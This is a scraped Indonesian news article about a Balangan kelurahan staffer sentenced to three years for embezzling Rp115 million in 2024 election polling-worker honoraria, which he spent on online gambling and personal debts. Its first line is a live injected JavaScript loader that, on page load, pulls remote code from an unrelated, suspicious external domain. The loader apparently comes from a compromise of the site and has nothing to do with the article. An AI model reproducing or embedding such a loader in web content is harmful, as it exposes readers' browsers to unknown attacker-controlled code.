(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Staf Sekretariat Kelurahan Batu Piring yang membawa kabur uang honor anggota Kelompok Penyelenggara Pemungutan Suara (KPPS) Pemilu 2024 di Kelurahan Batu Piring, Kecamatan Paringin Selatan, Kabupaten Balangan, dinyatakan bersalah.
Muhammad Hidayatullah (22) divonis pidana selama 3 tahun atas perbuatannya membawa kabur uang honor KPPS sebesar Rp115 juta.
Putusan pidana tersebut diketuk Majelis Hakim yang diketuai Fidiyawan Satriantoro dan dua hakim anggota Feby dan Herlinda di Pengadilan Tindak Pidana Korupsi Banjarmasin, Rabu (6/11/2024) siang.
Pasal 8 jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi yang sebelumnya dipasang sebagai dakwaan primair dianggap telah terbukti.
Baca juga: Paman Birin Hilang, KPK Rilis Surat Perintah Penangkapan
Putusan 3 tahun penjara tersebut lebih ringan dari tuntutan jaksa penuntut umum yang menuntut Dayat dihukum 4 tahun.
Oleh majelis hakim, terdakwa Dayat juga dipidana denda sebesar Rp150 juta, dengan ketentuan apabila denda tersebut tidak dibayar, maka kurungan penjara bertambah selama 3 bulan.
Selain itu, Staf Sekretariat Urusan Tata Usaha, Keuangan, dan Logistik Pemilu dan Pemilihan pada Kelurahan Batu Piring juga dibebani untuk membayar uang pengganti kerugian negara sebesar Rp115 juta.
Dengan catatan, apabila uang pengganti yang dibebankan tersebut tidak dibayar sebulan setelah putusan inkrah, maka harta bendanya dapat disita dan dilelang untuk menutupi uang pengganti. Dalam hal terdakwa tidak memiliki harta yang mencukupi untuk membayar uang pengganti, maka dipidana penjara selama 3 bulan.
Baca juga: Baru Bebas dari Lapas Narkotika, Residivis Kembali Ditangkap Miliki 100 Gram Sabu
“Uang Rp17 juta (yang dititipkan di Kejari Balangan) disita dan dirampas untuk negara diperhitungkan atas kerugian negara,” kata Fidiyawan.
Sementara itu, hakim anggota Feby mengungkapkan hal yang memberatkan terdakwa, yaitu dianggap tidak mendukung program pemerintah dalam pemberantasan korupsi. Sedang yang meringankan, terdakwa disebut mengakui dan menyesali perbuatannya, serta belum pernah dihukum sebelumnya.
Dalam uraian putusan, Feby menjelaskan fakta bahwa uang Rp115 juta yang dibawa kabur terdakwa digunakan kepentingan pribadi terdakwa.
Diantaranya untuk bermain judi online menggunakan 9 akun yang menghabiskan Rp78,6 juta, lalu untuk membayar prostitusi online sebanyak 3 kali sebesar Rp4,6 juta.
Baca juga: Lelaki 37 Tahun Akhiri Hidup Diduga Karena Utang
Kemudian membayar penginapan hotel 2 hari selama persembunyian Rp1,1 juta, dan sisanya untuk bayar hutang pribadi.
“Kerugian Rp115 juta bersumber dari keuangan negara honorarium KPPS dan bukan milik terdakwa seutuhnya, padahal uang tersebut harusnya didistribusikan ke KPPS,” kata Feby.
Usai pembacaan putusan, terdakwa yang didampingi penasehat hukumnya Iqbal Aqli SH tanpa berpikir panjang langsung mengatakan menerima putusan penjara 3 tahun beserta pidana tambahan tersebut.
“Menerima,” kata terdakwa singkat kepada majelis hakim
Sementara itu, jaksa penuntut umum dari Kejari Balangan, Agung mengatakan masih pikir-pikir atas putusan hakim.
Baca juga: Bedah Buku Pendidikan dan Sejarah Islam Dispersip Kalsel
Sebagai pengingat, berdasarkan dakwaan, kasus ini bermula beberapa hari jelang pencoblosan Pemilu 2024, KPU Balangan melakukan pengiriman uang ke rekening PPS Kelurahan Batu Piring untuk pembayaran honor ketua, anggota KPPS serta Linmas se Kelurahan Batu Piring pada Pemilu 2024.
Terdakwa bersama saksi Sekretaris PPS kemudian melakukan penarikan uang ke bank, uang untuk pembayaran Linmas diserahkan kepada saksi Sekretaris PPS, sedangkan uang Rp115 juta untuk honor KPPS dipegang oleh terdakwa.
Honor Linmas selesai dibayarkan, namun hingga batas akhir pembayaran 15 Februari 2024 yang ditetapkan KPU, honor ketua dan anggota KPPS yang berjumlah 126 orang tak kunjung diserahkan oleh terdakwa.
Baca juga: Sosialisasi Kerja Sama Daerah untuk Percepat Pembangunan di Kabupaten Banjar
Ulah Dayat menyebabkan anggota KPPS Kelurahan Batu Piring mendatangi kantor kelurahan untuk mempertanyakan uang honor sebagai petugas penyelenggara Pemilu 2024.
KPU Balangan membuat laporan resmi ke Polres Balangan, dan tenaga honorer Kelurahan Baru Piring kemudian berhasil diamankan ketika sedang berada ditempat persembunyian di salah satu kamar hotel di Kabupaten Tabalong bersama barang bukti uang sebesar Rp17 juta, sisa uang 115 juta yang ditilep terdakwa.(Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyebut Gubernur Kalimantan Selatan Sahbirin Noor alias Paman… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) mengaku masih belum mengetahui keberadaan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kepolisian Sektor (Polsek) Cempaka menggagalkan peredaran gelap narkotika di Ibu Kota Provinsi… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebuah kegiatan sosialisasi tentang Kerja Sama Daerah di Lingkungan Pemerintah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menggelar kegiatan bedah… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menerbitkan Surat Perintah Penangkapan (Sprinkap) lantaran Gubernur Kalimantan… Read More
This website uses cookies.